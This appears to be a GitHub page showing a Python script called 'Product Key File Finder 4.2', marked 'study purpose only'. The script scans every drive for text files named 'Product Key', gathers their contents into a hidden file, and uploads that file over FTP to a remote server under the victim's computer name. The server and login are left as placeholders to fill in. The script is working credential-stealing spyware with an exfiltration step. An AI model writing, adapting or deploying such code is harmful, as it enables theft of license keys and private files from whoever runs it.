-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathProduct Key File Finder 4.2
85 lines (84 loc) · 2.36 KB
/
Product Key File Finder 4.2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#The following code is written by Rohit Saxena. STUDY PURPOSE ONLY. Any unauthorized use or modification is prohibited.
import glob, os, shutil, ftplib, string
from urllib.request import urlopen, HTTPError, URLError
def _InternetCheck_():
while True:
try:
response = urlopen('https://www.central16.in',timeout=1)
return
except URLError as e:
print('URL Error: ', e.reason)
pass
def main():
rs = ['%s://' % d for d in string.ascii_uppercase if os.path.exists('%s://' % d)]
print(rs);
print(len(rs));
i,j = 0,0
rss=[]
ff = 'Product Key'
print('Execute: 20%')
directory = "rrs"
file_name = "rrs.txt"
print('Execute: 30% Hidden folder named rss is created in second local drive from list')
pth = os.path.join(rs[0], directory)
if os.path.exists(pth):
shutil.rmtree(pth)
os.makedirs(pth)
print('Hidden folder path: ',pth)
print('Execute: 40% Hidden file text.txt is created in hidden folder rss')
CN = os.path.join(pth, file_name)
print('Hidden file location: ',CN)
file1 = open(CN, "a")
file1.close()
pp = CN
print('Execute: 40% below files are present in system')
while i != len(rs):
os.chdir(rs[i])
for file in glob.glob("**/*.txt", recursive = True):
if ff in file:
print(file)
completeName = os.path.join(rs[i], file)
print('File path: ',completeName)
f = open(completeName,'r')
print(f.read())
f.close()
rss.append(completeName)
i += 1
print('Execute: 100% showing result')
print('scan done')
print(rss)
while j != len(rss):
with open(rss[j]) as trs, open(pp, "a") as rrs:
for line in trs:
rrs.write(line.rstrip("\n") +'\t'+rss[j]+"\n")
#shutil.copy(rss[j],pp)
f = open(pp,'r')
print(f.read())
f.close()
j+=1
f = open(pp,'r')
print(f.read())
print('uploading data.......')
filename = pp
_NewFTPFileNM_ = os.environ['COMPUTERNAME']
_NewFTPFileType_ = '.txt'
_FTP_File_Name_ = _NewFTPFileNM_ + _NewFTPFileType_
_ftpNewFileNMCmd_ = "STOR %s"%_FTP_File_Name_;
ftp = ftplib.FTP()
host = "FTP CLIENT URL ENTER HERE"
port = 21
ftp.connect(host, port)
print (ftp.getwelcome())
try:
print ("Logging in...")
ftp.login("USERNAME ENTER HERE", "PASSWORD ENTER HERE")
ftp.dir()
ftp.cwd('htdocs')
ftp.dir()
with open(filename, "rb") as file:
ftp.storbinary(_ftpNewFileNMCmd_, file)
ftp.dir()
except:
"failed to login"
_InternetCheck_()
main()